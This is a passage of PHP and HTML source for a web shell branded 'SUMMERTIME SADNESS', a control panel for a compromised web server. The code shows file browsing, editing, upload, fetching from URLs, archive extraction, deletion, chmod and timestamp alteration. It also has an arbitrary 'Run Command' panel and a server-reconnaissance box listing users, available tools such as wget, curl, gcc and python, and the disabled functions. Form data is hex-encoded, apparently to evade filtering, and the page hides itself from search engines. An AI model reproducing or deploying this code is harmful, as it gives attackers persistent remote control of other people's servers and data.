            $_SESSION["msg"] = $done
                ? "Archive created: " . basename($archivePath)
                : "Zip failed: " . $err;
            return $back();

        case "unzip":
            $file = safeJoin($current, isset($_POST["file"]) ? $_POST["file"] : "");

            if (!is_file($file)) {
                $_SESSION["msg"] = "Unzip failed: file not found";
                return $back();
            }

            $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
            $ok = false;
            $err = "";

            if ($ext === "zip" && class_exists("ZipArchive")) {
                $zip = new ZipArchive();
                if ($zip->open($file) === true) {
                    $ok = $zip->extractTo($current);
                    $zip->close();
                    if (!$ok) {
                        $err = "Zip extractTo failed";
                    }
                } else {
                    $err = "Zip open failed";
                }
            } else {
                try {
                    if (
                        class_exists("PharData") &&
                        preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)
                    ) {
                        $phar = new PharData($file);
                        $phar->extractTo($current, null, true);
                        $ok = true;
                    } else {
                        $err = "Unsupported archive type or PharData not available";
                    }
                } catch (Exception $e) {
                    $err = $e->getMessage();
                }
            }

            $_SESSION["msg"] = $ok ? "Unzip OK" : "Unzip failed: " . $err;
            return $back();
    }
}

/* =========================
 *   VIEW MODEL & RENDER
 * ========================= */

$items = listDirEntries($current);
$files = [];
$dirs = [];

foreach ($items as $it) {
    $full = $current . "/" . $it;
    if (is_dir($full)) {
        $dirs[] = $it;
    } else {
        $files[] = $it;
    }
}

// Natural sort
if (function_exists("natcasesort")) {
    natcasesort($dirs);
    natcasesort($files);
    $dirs = array_values($dirs);
    $files = array_values($files);
} else {
    sort($dirs);
    sort($files);
}

$isEdit =
    isset($_GET["a"]) && $_GET["a"] === "edit" && isset($_GET["f"])
        ? safeJoin($current, $_GET["f"])
        : null;
$editFile = $isEdit && is_file($isEdit) ? $isEdit : null;

$isView =
    isset($_GET["a"]) && $_GET["a"] === "view" && isset($_GET["f"])
        ? safeJoin($current, $_GET["f"])
        : null;
$viewFile = $isView && is_file($isView) ? $isView : null;

$modeParam = isset($_GET["mode"]) ? $_GET["mode"] : "auto";
$viewMode = in_array($modeParam, ["txt", "b64", "auto"], true)
    ? $modeParam
    : "auto";

$csrf = isset($_SESSION["csrf"]) ? $_SESSION["csrf"] : "";
$cmd_methods = biru_cmd_methods_enabled();
$cmd_on = !empty($cmd_methods);
$cmd_tip = $cmd_on
    ? "Enabled: " . implode(", ", $cmd_methods)
    : "OFF: All command functions disabled.";

$yearNow = date("Y");
?>
<!doctype html>
<html lang="en" class="dark">
<head>
  <meta charset="utf-8">
  <title>SUMMERTIME SADNESS</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex">
  <meta name="googlebot" content="noindex,nofollow,noarchive,nosnippet,noimageindex">
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = { 
      darkMode:'class', 
      theme:{ 
        extend:{
          fontFamily:{ 
            ui:['Ubuntu','ui-sans-serif','system-ui','Segoe UI','Roboto','Helvetica Neue','Arial','Noto Sans'] 
          },
          colors:{
            canvas:{DEFAULT:'#0b0f15',light:'#0b0f15',surface:'rgba(12,16,24,.84)'},
            brand:{50:'#ffe4e6',100:'#fecdd3',200:'#fda4af',500:'#ef4444',600:'#dc2626',700:'#b91c1c'}
          },
          boxShadow:{ 
            card:'0 10px 30px rgba(0,0,0,.35), inset 0 1px 0 rgba(255,255,255,.03)', 
            glow:'0 6px 20px rgba(239,68,68,.22)' 
          },
          borderRadius:{ xl2:'18px' }
        } 
      } 
    }
  </script>
  <link href="https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap" rel="stylesheet">
  <link href="https://cdn.jsdelivr.net/gh/free-whiteboard-online/Free-Erasorio-Alternative-for-Collaborative-Design@82e6f0474fa6544b9122885f17a4ef1c800fad0b/uploads/2025-09-29T04-01-42-051Z-ouk42b9mn.png" rel="icon">
  <style>
    html,body{height:100%}
    body{font-family:'Ubuntu',system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,"Noto Sans";}
    .shell{min-height:100vh;background:radial-gradient(1100px 560px at 20% -10%, rgba(244,63,94,.12), transparent 60%),radial-gradient(800px 480px at 90% 0%, rgba(239,68,68,.10), transparent 60%),#0b0f15;display:grid;grid-template-rows:auto 1fr auto;}
    .card{background:rgba(12,16,24,.84);border:1px solid rgba(148,163,184,.14);border-radius:18px;box-shadow:0 10px 30px rgba(0,0,0,.35), inset 0 1px 0 rgba(255,255,255,.03);backdrop-filter:blur(8px);}
    .field{border:1px solid rgba(148,163,184,.18);border-radius:12px;padding:.5rem .75rem;width:100%;background:#0b0f15;color:#e5e7eb;}
    .field:focus{outline:none;box-shadow:0 0 0 4px rgba(244,63,94,.22);border-color:#ef4444}
    .btn{background:linear-gradient(180deg,#ef4444,#dc2626);color:#fee2e2;border-radius:10px;padding:.5rem .75rem;font-weight:700;font-size:.875rem;line-height:1.25rem;display:inline-flex;align-items:center;justify-content:center;transition:transform .05s, box-shadow .15s, filter .15s;box-shadow:0 6px 20px rgba(239,68,68,.20);}
    .btn:hover{filter:brightness(1.06);box-shadow:0 10px 26px rgba(239,68,68,.30)}
    .btn:active{transform:translateY(.5px)}
    .btn-ghost{background:transparent;border:1px solid rgba(148,163,184,.25);color:#e5e7eb;}
    .btn-xs{padding:.25rem .5rem;font-size:.75rem;border-radius:8px}
    .btn-sm{padding:.35rem .6rem;font-size:.8125rem;border-radius:9px}
    .btnw{min-width:96px}
    .tbl thead th{position:sticky;top:0;background:#0b0f15e6;backdrop-filter:blur(6px);z-index:1;color:#cbd5e1}
    .tbl tbody tr:nth-child(even){background:rgba(148,163,184,.04)}
    .tbl tbody tr.hoverable:hover{background:rgba(239,68,68,.16);box-shadow:inset 0 0 0 9999px rgba(239,68,68,.08)}
    .tbl tbody tr.hoverable{transition:background .15s ease}
    .ico{width:18px;height:18px;display:inline-block;vertical-align:text-bottom;color:#cbd5e1}
    .mono{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}
    .badge-small{font-size:11px;padding:.1rem .4rem;border-radius:999px;background:#111316;color:#fecaca;border:1px solid #312527}
    .row-actions{display:grid;grid-template-columns:repeat(8, minmax(90px, auto));gap:.35rem;justify-items:start}
    @media (max-width:1200px){.row-actions{grid-template-columns:repeat(3, minmax(90px, auto));}}
    .tablewrap{height:calc(100vh - 320px);overflow:auto}
    @media (max-height:800px){.tablewrap{height:calc(100vh - 360px)}}
    .drop-hint{border:2px dashed rgba(239,68,68,.45);background:rgba(239,68,68,.06)}
    .droptarget{outline:2px dashed rgba(239,68,68,.70);outline-offset:-2px}
    .cmd-input{font-size:13px;line-height:1.45;background:#0b0f15;border:1px solid rgba(148,163,184,.18);border-radius:12px;padding:0.5rem;color:#e5e7eb;width:100%;resize:vertical;}
    .cmd-output{font-size:14px;line-height:1.5;background:#0b0f15;border:1px solid rgba(148,163,184,.18);border-radius:12px;padding:0.75rem;color:#e5e7eb;white-space:pre-wrap;overflow:auto;max-height:320px;}
    .footer-line{height:1px;background:linear-gradient(90deg,rgba(239,68,68,.0),rgba(239,68,68,.5),rgba(239,68,68,.0));}
    .simple-tabs a{color:#fecaca;}
    .simple-tabs a:hover{color:#ffffff;}
    .simple-tabs .active{color:#ffffff;border-bottom:2px solid #ef4444;}
    .subtabs a{color:#fecaca;font-size:12px;}
    .subtabs .active{color:#ffffff;border-bottom:1px solid #ef4444;}
    #tableCard, #tableCard *{user-select:text;-webkit-user-select:text;}
    #dirTable a, #dirTable a:visited{color:#ffffff !important;}
  </style>
</head>
<body class="shell text-slate-100" id="bodyRoot">
<header class="sticky top-0 z-20 w-full border-b border-slate-800 bg-[#0d1219]/70 backdrop-blur">
  <div class="w-full px-6 py-3 grid grid-cols-[auto_1fr_auto] items-center gap-3">
    <div class="flex items-center gap-3 shrink-0">
      <div class="text-2xl"><?php echo svgIcon("pwx", "ico"); ?></div>
      <div>
        <div class="text-lg font-semibold tracking-tight" style="background:linear-gradient(90deg,#fca5a5,#fecaca);-webkit-background-clip:text;background-clip:text;color:transparent">
          <a href="?">SUMMERTIME SADNESS</a>
        </div>
        <div class="text-xs text-slate-400">PHP <?php echo h(PHP_VERSION); ?></div>
      </div>
    </div>
    <div></div>
    <div class="flex items-center gap-2 shrink-0">
      <div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-slate-700 bg-slate-900/60 px-2 h-9">
        <span class="text-slate-400 text-sm">Path:</span>
        <input
          id="pathInput"
          type="text"
          readonly
          value="<?php echo h($current); ?>"
          size="<?php echo max(16, min(160, strlen($current))); ?>"
          class="mono bg-transparent outline-none text-sm text-slate-200 w-auto max-w-[45vw] truncate h-7 leading-7"
          title="<?php echo h($current); ?>"
          onfocus="this.select()"
        />
        <button
          id="copyPathBtn"
          type="button"
          class="ml-1 inline-flex items-center justify-center w-7 h-7 rounded-lg border border-slate-700 hover:border-slate-500 hover:bg-slate-800 transition"
          title="Copy path"
          aria-label="Copy path"
        >
          <svg id="copyIcon" viewBox="0 0 24 24" class="w-3.5 h-3.5 text-slate-200" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
            <rect x="9" y="9" width="13" height="13" rx="2" ry="2"></rect>
            <path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"></path>
          </svg>
          <svg id="checkIcon" viewBox="0 0 24 24" class="w-3.5 h-3.5 text-lime-400 hidden" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
            <path d="M20 6L9 17l-5-5"></path>
          </svg>
        </button>
      </div>
      <div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-slate-700 bg-slate-900/60 px-2 h-9">
        <?php echo svgIcon("search", "ico"); ?>
        <input
          id="searchBox"
          type="search"
          placeholder="Filter by name (Ctrl+/)"
          class="bg-transparent text-sm outline-none placeholder:text-slate-500 w-64 h-7 leading-7"
          oninput="filterRows()"
        >
      </div>
      <form method="post" action="?a=<?php echo hx("logout"); ?>&p=<?php echo hx($current); ?>">
        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
        <button class="btn btn-sm" type="submit">Logout</button>
      </form>
    </div>
  </div>
</header>

<main class="w-full px-6 py-4 grid grid-cols-12 gap-4">
  <aside class="col-span-12 xl:col-span-3 space-y-4">
    <?php if (!empty($_SESSION["msg"])): ?>
      <div class="rounded-xl border border-red-900/50 bg-red-900/20 text-rose-100 px-4 py-3">
        <?php
        echo h($_SESSION["msg"]);
        unset($_SESSION["msg"]);
        ?>
      </div>
    <?php endif; ?>

    <section class="card p-4">
      <h2 class="font-medium mb-3">Server Info</h2>
      <?php
      $sys = php_uname();
      $soft = biru_detect_server_software();
      $phpv = PHP_VERSION;
      $phpos = PHP_OS;
      $srvip = biru_server_ip();
      $yourip = biru_client_ip();
      list($uname, $uid, $gname, $gid) = biru_user_group();

      $safe = @ini_get("safe_mode");
      $safeOn =
          $safe &&
          strtolower((string) $safe) !== "off" &&
          (string) $safe !== "0";

      $mysqlOn = extension_loaded("mysqli") || extension_loaded("pdo_mysql");

      $perlOn = biru_bin_exists("perl");
      $pyOn = biru_bin_exists("python3") || biru_bin_exists("python");
      $wgetOn = biru_bin_exists("wget");
      $curlBin = biru_bin_exists("curl");
      $gccOn = biru_bin_exists("gcc");

      $curlExt = extension_loaded("curl");

      $disabledFns = biru_disable_functions_list();
      ?>
      <div class="space-y-2 text-sm">
        <div class="text-slate-300"><span class="text-slate-500">System:</span> <span class="mono"><?php echo h($sys); ?></span></div>
        <div class="text-slate-300"><span class="text-slate-500">Software:</span> <?php echo h($soft); ?></div>
        <div class="text-slate-300"><span class="text-slate-500">PHP Version:</span> <?php echo h($phpv); ?> <span class="text-slate-500">PHP OS:</span> <?php echo h($phpos); ?></div>
        <div class="text-slate-300"><span class="text-slate-500">Server IP:</span> <?php echo h($srvip); ?></div>
        <div class="text-slate-300"><span class="text-slate-500">Your IP:</span> <?php echo h($yourip); ?></div>
        <div class="text-slate-300"><span class="text-slate-500">User:</span> <?php echo h($uname); ?> <span class="text-slate-500">[<?php echo h((string) $uid); ?>]</span> <span class="text-slate-500">| Group:</span> <?php echo h($gname); ?> <span class="text-slate-500">[<?php echo h((string) $gid); ?>]</span></div>
        <div class="flex flex-wrap gap-2 items-center pt-1">
          <span class="text-slate-500">Safe Mode:</span> <?php echo biru_badge(!$safeOn, "OFF", "ON"); ?>
          <span class="text-slate-500">MYSQL:</span> <?php echo biru_badge($mysqlOn); ?>
          <span class="text-slate-500">PERL:</span> <?php echo biru_badge($perlOn); ?>
          <span class="text-slate-500">PYTHON:</span> <?php echo biru_badge($pyOn); ?>
          <span class="text-slate-500">WGET:</span> <?php echo biru_badge($wgetOn); ?>
          <span class="text-slate-500">CURL:</span> <?php echo biru_badge($curlBin || $curlExt); ?>
          <span class="text-slate-500">GCC:</span> <?php echo biru_badge($gccOn); ?>
        </div>
        <div class="pt-2">
          <div class="text-slate-500 text-xs mb-1">Disable Function:</div>
          <div class="rounded-lg border border-slate-700 bg-black/30">
            <div class="mono text-xs p-2 overflow-x-auto whitespace-nowrap">
              <?php echo h($disabledFns); ?>
            </div>
          </div>
        </div>
      </div>
    </section>

    <section class="card p-4">
      <h2 class="font-medium mb-3">Navigation</h2>
      <div class="mb-2 text-sm text-slate-300">Breadcrumbs</div>
      <div class="flex flex-wrap gap-1 text-sm">
        <?php foreach (breadcrumbs($current) as $i => $crumb):
            list($name, $path) = $crumb; ?>
          <?php if ($i) {
              echo '<span class="text-slate-600">/</span>';
          } ?>
          <a href="?p=<?php echo hx($path); ?>" class="inline-flex items-center gap-1 px-2 py-1 rounded-md border border-slate-700 bg-slate-800 text-slate-200 hover:border-slate-500 hover:bg-slate-700 transition"><?php echo h($name); ?></a>
        <?php
        endforeach; ?>
      </div>
      <hr class="my-4 border-slate-700">
      <form method="get" class="space-y-2">
        <label class="text-sm text-slate-300">Change Path</label>
        <input type="text" name="p" class="field mono" placeholder="/home/user" value="<?php echo h($current); ?>">
        <div class="flex gap-2">
          <button class="btn btnw" type="submit">Go</button>
          <a class="btn btnw" href="?">Go to CWD</a>
        </div>
      </form>
    </section>

    <section class="card p-4" id="createCard">
      <h2 class="font-medium mb-3">Create</h2>
      <div class="simple-tabs flex flex-wrap items-center gap-3 mb-2 text-sm">
        <a href="#" data-target="tab-create-file" class="tablink">Create File</a>
        <span class="text-slate-600">|</span>
        <a href="#" data-target="tab-create-folder" class="tablink">Create Folder</a>
        <span class="text-slate-600">|</span>
        <a href="#" data-target="tab-upload" class="tablink">Upload Files</a>
        <span class="text-slate-600">|</span>
        <a href="#" data-target="tab-run-cmd" class="tablink inline-flex items-center gap-2" title="<?php echo h($cmd_tip); ?>">
          <span>Run Command</span>
          <span class="inline-flex items-center rounded-md border px-1.5 py-0.5 text-[10px] leading-none font-semibold tracking-wide <?php echo $cmd_on
              ? "border-lime-500/30 bg-lime-500/10 text-lime-300"
              : "border-rose-500/30 bg-rose-500/10 text-rose-200"; ?>">
            <?php echo $cmd_on ? "ON" : "OFF"; ?>
          </span>
        </a>
      </div>
      <hr class="my-3 border-slate-700">
      <div class="subtabs flex flex-wrap items-center gap-2 mb-3 text-xs" id="uploadSubtabs" style="display:none">
        <a href="#" data-target="sub-upload-local" class="subtablink">From Your Computer</a>
        <span class="text-slate-600">|</span>
        <a href="#" data-target="sub-upload-url" class="subtablink">From URL</a>
      </div>
      <hr class="my-3 border-slate-800" id="uploadSubtabsHr" style="display:none">

      <!-- TAB: Create File -->
      <div id="tab-create-file" class="tabcontent" style="display:none">
        <form method="post" action="?a=<?php echo hx("new-file"); ?>&p=<?php echo hx($current); ?>" class="space-y-2" onsubmit="return hexEncodeFormExceptContent(this);">
          <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
          <input type="hidden" name="tab" value="<?php echo hx("create-file"); ?>">
          <label class="text-sm text-slate-300">New File</label>
          <input type="text" name="name" class="field mono" placeholder="newfile.txt" required>
          <textarea name="content" class="field mono" rows="2" placeholder="(Optional) initial content"></textarea>
          <button class="btn w-full" type="submit">Create File</button>
        </form>
      </div>

      <!-- TAB: Create Folder -->
      <div id="tab-create-folder" class="tabcontent" style="display:none">
        <form method="post" action="?a=<?php echo hx("new-dir"); ?>&p=<?php echo hx($current); ?>" class="space-y-2" onsubmit="return hexEncodeForm(this);">
          <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
          <input type="hidden" name="tab" value="<?php echo hx("create-folder"); ?>">
          <label class="text-sm text-slate-300">New Folder</label>
          <input type="text" name="name" class="field mono" placeholder="NewFolder" required>
          <button class="btn w-full" type="submit">Create Folder</button>
        </form>
      </div>

      <!-- TAB: Upload -->
      <div id="tab-upload" class="tabcontent" style="display:none">
        <div id="sub-upload-local">
          <form method="post" enctype="multipart/form-data" action="?a=<?php echo hx("upload"); ?>&p=<?php echo hx($current); ?>" class="space-y-2" onsubmit="return hexEncodeForm(this);">
            <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
            <input type="hidden" name="tab" value="<?php echo hx("upload"); ?>">
            <input type="hidden" name="subtab" value="<?php echo hx("local"); ?>">
            <input type="file" name="files[]" multiple class="block text-sm file:mr-3 file:rounded-md file:border file:border-slate-700 file:px-3 file:py-1.5 file:bg-slate-800 file:text-slate-200">
            <button class="btn w-full" type="submit">Upload Files</button>
          </form>
        </div>
        <div id="sub-upload-url" style="display:none">
          <form method="post" action="?a=<?php echo hx("url-upload"); ?>&p=<?php echo hx($current); ?>" class="space-y-2" onsubmit="return hexEncodeForm(this);">
            <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
            <input type="hidden" name="tab" value="<?php echo hx("upload"); ?>">
            <input type="hidden" name="subtab" value="<?php echo hx("url"); ?>">
            <input type="url" name="url" class="field" placeholder="https://example.com/file.txt" required>
            <input type="text" name="filename" class="field" placeholder="File name (optional)">
            <button class="btn w-full" type="submit">Fetch from URL</button>
          </form>
        </div>
      </div>

      <!-- TAB: Run Command -->
      <div id="tab-run-cmd" class="tabcontent" style="display:none">
        <form method="post" action="?a=<?php echo hx("cmd"); ?>&p=<?php echo hx($current); ?>" class="space-y-2" id="cmdForm" onsubmit="return hexEncodeForm(this);">
          <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
          <input type="hidden" name="tab" value="<?php echo hx("run-cmd"); ?>">
          <label class="text-sm text-slate-300">Run Command</label>
          <textarea id="cmdTA" name="cmd" class="cmd-input" rows="3" placeholder="e.g. id, whoami, ls -la"></textarea>
          <div class="flex gap-2">
            <button class="btn btnw" type="submit">Run</button>
            <span class="text-xs text-slate-400 self-center">Tip: Ctrl/Cmd + Enter to run</span>
          </div>
        </form>
        <?php if (!empty($_SESSION["cmd_result"])):

            $cr = $_SESSION["cmd_result"];
            unset($_SESSION["cmd_result"]);
            ?>
        <hr class="my-3 border-slate-700">
        <div class="mt-3">
          <details open class="card p-3">
            <summary class="cursor-pointer font-medium">
              Output × <span class="mono"><?php echo h($cr["cmd"]); ?></span>
              <span class="ml-2 text-xs text-slate-400">via <?php echo h($cr["method"]); ?>, exit <?php echo h((string) $cr["code"]); ?></span>
            </summary>
            <pre class="cmd-output"><?php echo h($cr["out"]); ?></pre>
          </details>
        </div>
        <?php
        endif; ?>
      </div>
    </section>
  </aside>

  <section class="col-span-12 xl:col-span-9 flex flex-col gap-4">
    <?php if ($editFile): ?>
      <?php
      $autoMode = $viewMode === "auto";
      if ($autoMode) {
          $viewMode = isTextFile($editFile) ? "txt" : "b64";
      }

      $rawContent = @file_get_contents($editFile);
      if ($rawContent === false) {
          $rawContent = "";
      }

      $display = $viewMode === "b64" ? base64_encode($rawContent) : $rawContent;
      ?>
      <div class="card p-4" id="editPanelWrap">
        <details id="editPanel" open>
          <summary class="cursor-pointer font-medium flex items-center justify-between">
            <div class="flex items-center gap-2">
              <span>Edit File</span>
              <span class="text-xs text-slate-400">Size: <?php echo h(humanSize((int) @filesize($editFile))); ?></span>
            </div>
            <div class="flex items-center gap-2">
              <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('editPanel').open=false">Close</button>
            </div>
          </summary>
          <div class="mt-3 text-xs text-slate-400 mono line-clamp-2"><?php echo h($editFile); ?></div>
          <hr class="my-3 border-slate-700">
          <div class="mt-2">
            <a class="inline-block px-2 py-1 rounded-md border border-slate-700 text-xs <?php echo $viewMode === "txt"
                ? "bg-[rgba(239,68,68,.85)] text-white border-transparent"
                : "bg-slate-800"; ?>" href="?a=<?php echo hx("edit"); ?>&f=<?php echo hx(basename($editFile)); ?>&p=<?php echo hx($current); ?>&mode=<?php echo hx("txt"); ?>">Text</a>
            <a class="inline-block px-2 py-1 rounded-md border border-slate-700 text-xs <?php echo $viewMode === "b64"
                ? "bg-[rgba(239,68,68,.85)] text-white border-transparent"
                : "bg-slate-800"; ?>" href="?a=<?php echo hx("edit"); ?>&f=<?php echo hx(basename($editFile)); ?>&p=<?php echo hx($current); ?>&mode=<?php echo hx("b64"); ?>">Base64</a>
          </div>
          <form method="post" action="?a=<?php echo hx("edit-save"); ?>&p=<?php echo hx($current); ?>" class="mt-3" id="editForm" onsubmit="return hexEncodeFormExceptContent(this);">
            <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
            <input type="hidden" name="file" value="<?php echo hx(basename($editFile)); ?>">
            <input type="hidden" name="mode" value="<?php echo hx($viewMode); ?>">
            <textarea name="content" class="w-full h-72 border border-slate-700 rounded-xl p-3 mono bg-slate-900 text-slate-100" spellcheck="false"><?php echo h($display); ?></textarea>
            <?php if ($viewMode === "b64"): ?>
              <div class="mt-2 text-xs text-slate-400">Base64 mode: content will be decoded on save.</div>
            <?php endif; ?>
            <div class="mt-3 flex flex-wrap gap-2 items-center">
              <button class="btn btnw" type="submit">Save</button>
              <button class="btn btnw btn-ghost" type="button" onclick="document.getElementById('editPanel').open=false">Close</button>
              <a class="btn btnw" href="?p=<?php echo hx($current); ?>">Exit & Reset</a>
            </div>
          </form>
        </details>
      </div>
    <?php endif; ?>

    <?php if ($viewFile): ?>
      <?php
      $vf_size = (int) @filesize($viewFile);
      $vf_ext = strtolower(pathinfo($viewFile, PATHINFO_EXTENSION));
      $is_img = in_array($vf_ext, [
          "jpg",
          "jpeg",
          "png",
          "gif",
          "webp",
          "bmp",
          "svg",
      ]);
      $is_txt = isTextFile($viewFile);
      $preview_max = 512 * 1024;
      $txt = "";

      if ($is_txt) {
          $txt = @file_get_contents($viewFile, false, null, 0, $preview_max);
          if ($txt === false) {
              $txt = "";
          }
      }
      ?>
      <div class="card p-4" id="previewWrap">
        <details id="previewPanel" open>
          <summary class="cursor-pointer font-medium flex items-center justify-between">
            <div class="flex items-center gap-2">
              <span>Preview: <span class="mono"><?php echo h(basename($viewFile)); ?></span></span>
              <span class="text-xs text-slate-400">Size: <?php echo h(humanSize($vf_size)); ?></span>
            </div>
            <div class="flex items-center gap-2">
              <button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('previewPanel').open=false">Close</button>
            </div>
          </summary>
          <div class="mt-3 text-xs text-slate-400 mono"><?php echo h($viewFile); ?></div>
          <hr class="my-3 border-slate-700">
          <div class="mt-3">
            <?php if ($is_img): ?>
              <img src="?a=<?php echo hx("raw"); ?>&f=<?php echo hx(basename($viewFile)); ?>&p=<?php echo hx($current); ?>" alt="preview image" class="max-w-full rounded-lg border border-slate-700" style="max-height:480px;object-fit:contain;">
            <?php elseif ($is_txt): ?>
              <pre class="p-3 bg-black/40 rounded-lg overflow-auto text-sm mono border border-slate-700" style="max-height:480px;"><?php echo h($txt); ?></pre>
              <?php if ($vf_size > $preview_max): ?>
                <div class="mt-2 text-xs text-slate-400">Showing <?php echo h(humanSize($preview_max)); ?> of <?php echo h(humanSize($vf_size)); ?>. Use Edit/Download for full content.</div>
              <?php endif; ?>
            <?php else: ?>
              <div class="rounded-lg border border-slate-700 p-3 bg-slate-900/50">
                <div class="text-sm">This file type cannot be previewed directly.</div>
                <div class="mt-2 flex gap-2">
                  <a class="btn btn-sm btnw" href="?a=<?php echo hx("download"); ?>&f=<?php echo hx(basename($viewFile)); ?>&p=<?php echo hx($current); ?>">Download</a>
                  <a class="btn btn-sm btnw" href="?a=<?php echo hx("edit"); ?>&f=<?php echo hx(basename($viewFile)); ?>&p=<?php echo hx($current); ?>">Edit (careful if binary)</a>
                </div>
              </div>
            <?php endif; ?>
          </div>
        </details>
      </div>
    <?php endif; ?>

    <div class="card p-4 flex flex-col" id="tableCard">
      <div class="flex items-center justify-between mb-3">
        <div class="text-sm text-slate-400">Dirs: <?php echo count($dirs); ?> × Files: <?php echo count($files); ?></div>
      </div>

      <form method="post" action="?a=<?php echo hx("mass-delete"); ?>&p=<?php echo hx($current); ?>" class="flex-1 flex flex-col" id="bulkDeleteForm" onsubmit="return hexEncodeForm(this);">
        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
        <div class="mb-3 flex flex-wrap gap-2">
          <button class="btn btn-sm btnw" type="submit" onclick="return confirm('Delete all selected items?')">Delete Selected</button>
          <button class="btn btn-sm btnw btn-ghost" type="button" onclick="selectAll(true)">Select All</button>
          <button class="btn btn-sm btnw btn-ghost" type="button" onclick="selectAll(false)">Select None</button>
          <div class="hidden md:flex items-center gap-2 ml-auto text-xs text-slate-400">
            <span>Sort:</span>
            <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('name')">Name</button>
            <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('size')">Size</button>
            <button type="button" class="btn btn-xs btn-ghost" onclick="sortBy('mtime')">Modified</button>
          </div>
          <label class="flex items-center gap-2 text-xs text-slate-300 ml-2">
            <input id="dragToggle" type="checkbox" class="accent-red-500">
            Enable drag-to-move
          </label>
        </div>
        <hr class="mb-3 border-slate-700">

        <div class="tablewrap overflow-x-auto rounded-xl border border-slate-700 flex-1" id="dropZone">
          <table id="dirTable" class="tbl min-w-full text-sm">
            <thead class="text-left border-b border-slate-700">
              <tr>
                <th class="py-2 px-2 w-10"><input type="checkbox" id="chkAll" onclick="toggleAll(this)"></th>
                <th class="py-2 px-2">Name</th>
                <th class="py-2 px-2">Size</th>
                <th class="py-2 px-2">Perms</th>
                <th class="py-2 px-2">Modified</th>
                <th class="py-2 px-2">Actions</th>
              </tr>
            </thead>
            <tbody id="dirBody">
              <?php foreach ($dirs as $name):

                  $full = $current . "/" . $name;
                  $r = @is_readable($full);
                  $w = @is_writable($full);
                  $permColorClass = $w
                      ? "text-lime-400"
                      : ($r
                          ? "text-white"
                          : "text-red-400");
                  ?>
                <tr class="border-b border-slate-800 hoverable"
                    data-type="dir"
                    data-name="<?php echo h(strtolower($name)); ?>"
                    data-size="0"
                    data-mtime="<?php echo (int) @filemtime($full); ?>"
                    draggable="true"
                    ondragstart="onDragStartItem(event, <?php echo biru_json_encode($name); ?>)"
                    ondragover="onDragOverDir(event)"
                    ondragleave="onDragLeaveDir(event)"
                    ondrop="onDropToDir(event, <?php echo biru_json_encode($name); ?>)">
                  <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo hx($name); ?>"></td>
                  <td class="py-2 px-2">
                    <div class="flex items-center gap-2 <?php echo $permColorClass; ?>">
                      <?php echo iconSvgFor($full); ?>
                      <a class="hover:underline font-medium text-white"
                         draggable="false"
                         onclick="return guardLinkCopy(event)"
                         href="?p=<?php echo hx($full); ?>"><?php echo h($name); ?></a>
                      <span class="badge-small">DIR</span>
                    </div>
                  </td>
                  <td class="py-2 px-2">-</td>
                  <td class="py-2 px-2 mono <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td>
                  <td class="py-2 px-2"><?php echo h(date("Y-m-d H:i:s", @filemtime($full) ?: time())); ?></td>
                  <td class="py-2 px-2">
                    <div class="row-actions">
                      <span class="btn btn-xs btnw" style="opacity:.35; pointer-events:none;">Edit</span>
                      <span class="btn btn-xs btnw" style="opacity:.35; pointer-events:none;">Download</span>
                      <button type="button" class="btn btn-xs btnw" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button>
                      <button type="button" class="btn btn-xs btnw" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button>
                      <button type="button" class="btn btn-xs btnw" onclick="toggleRow('mt-<?php echo h($name); ?>')">Change Date</button>
                      <form method="post" action="?a=<?php echo hx("delete"); ?>&p=<?php echo hx($current); ?>" onsubmit="return confirm('Delete this directory (recursive)?')" class="inline" onsubmit="return hexEncodeForm(this);">
                        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
                        <input type="hidden" name="target" value="<?php echo hx($name); ?>">
                        <input type="hidden" name="tab" value="<?php echo hx("create-file"); ?>">
                        <button class="btn btn-xs btnw" type="submit">Delete</button>
                      </form>
                    </div>
                    <div id="rn-<?php echo h($name); ?>" class="hidden mt-2">
                      <form method="post" action="?a=<?php echo hx("rename"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2" onsubmit="return hexEncodeForm(this);">
                        <input type="hidden" name="csrf" value="<?php echo hx($csrf); ?>">
                        <input type="hidden" name="old" value="<?php echo hx($name); ?>">
                        <input type="text" name="new" class="field w-48" placeholder="New name">
                        <input type="hidden" name="tab" value="<?php echo hx($tab ?: "create-file"); ?>">
                        <button class="btn btn-sm btnw" type="submit">OK</button>
                        <button class="btn btn-sm btnw btn-ghost" type="button" onclick="closeAction(this)">Cancel</button>
                      </form>
                    </div>
                    <div id="cm-<?php echo h($name); ?>" class="hidden mt-2">
                      <form method="post" action="?a=<?php echo hx("chmod"); ?>&p=<?php echo hx($current); ?>" class="flex flex-wrap gap-2 items-center" onsubmit="return hexEncodeForm(this);">
